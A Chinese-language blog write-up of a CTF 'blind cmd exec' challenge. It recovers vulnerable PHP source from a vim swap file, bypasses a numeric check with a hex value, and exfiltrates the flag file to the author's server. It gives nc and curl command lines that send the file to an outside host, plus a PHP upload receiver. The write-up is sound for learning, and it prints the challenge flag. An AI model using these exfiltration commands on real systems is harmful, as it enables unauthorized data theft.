EXEC

作者: Yix1a | 来源:发表于2019-06-07 11:24 被阅读0次

踩了个超级深坑,浪费了2个小时。 进行post提交的时候,cmd= curl 。。。。的时候,我居然写成了cmd = curl cmd后面多了个空格~~~~~~~~~~~~~~~

  • 打开页面什么也没有
  • 查看元素<pre id="line1"><meta language='utf-8' editor='vim'></pre>有个vim,猜测是vim缓存泄露
  • 下载然后用vim -r 还原代码。
<html>
<head>
<title>blind cmd exec</title>
<meta language='utf-8' editor='vim'>
</head>
</body>
<img src=pic.gif>
<?php
/*
flag in flag233.php
*/
 function check($number)
{
        $one = ord('1');
        echo $one;
        echo '<br>';
        $nine = ord('9');
        echo $nine;
        echo '<br>';
        for ($i = 0; $i < strlen($number); $i++)
        {   
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                    echo 'false';
                        return false;
                }
        }
           return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){  // 11259375
    setcookie('auth','tcp tunnel is forbidden!');
    if(isset($_POST['cmd'])){
        $command=$_POST[cmd];
        $result=exec($command);
        //echo $result;                            flag{0ef0a274-5a96-4a1e-bd24-d869acc7a89c}
    }
}else{
    die('no sign');
}
?>
</body>
</html>
  • 第一个绕过用11259375的十六进制0xabcdef就行。
  • tcp tunnel is forbidden!提示我们不能用tcp去连接服务运行exec。
  • 但是我们可以让服务器把数据发到我们的服务器上
  • 第一个方式-nc
    • 自己的服务器开启 nc -u -l -p 5060 或nc -ul 5060
    • cmd=nc -u 服务器ip地址 5060 <flag233.php
  • 第二个方式-curl
    • 写一个接受curl表单提交的代码
    • cmd=curl 服务器ip?php文件 -F file=@flag233.php
    • 接受代码如下
<?php
 
if (isset($_FILES["file"]["name"])) {
    echo "The file has been received\n";
    $name = $_FILES["file"]["name"];
    $tmp_name = $_FILES['file']['tmp_name'];
    $error = $_FILES['file']['error'];
 
    echo "name is ".$name."\n";
 
    echo "tmp_name is ".$tmp_name."\n";
 
    if (!empty($name)) {
        $location = './';  
 
        if  (move_uploaded_file($tmp_name, $location.$name)){
            echo "Uploaded\n";
            if(php_uname('s')=='Windows NT' || PHP_OS=='WINNT'){
                $slash = '\\';
            }else{
                $slash = '/';
            }
            echo "file  location : ".dirname(__FILE__).$slash.$name."\n";
            echo "Output part of the file content, curl can output limited.\n";
            $myfile = fopen($location.$name, "r") or die("Unable to open file!");
            echo fread($myfile,filesize($location.$name));
            fclose($myfile);
        }
 
    } else {
        echo '!empty($name) false';
    }
}else{
    echo "error,file not upload.plz curl";
}
?>

  • 需注意点。第一,需要注意php.ini默认上传大小为2m,如果超过,需要修改。第二,move_uploaded_file()目录函数,是需要目录权限的, $_FILES['file']['tmp_name'];和$location.$name两个地方的目录权限可能需要修改。

相关文章

网友评论

      本文标题:EXEC

      本文链接:https://www.haomeiwen.com/subject/jajmxctx.html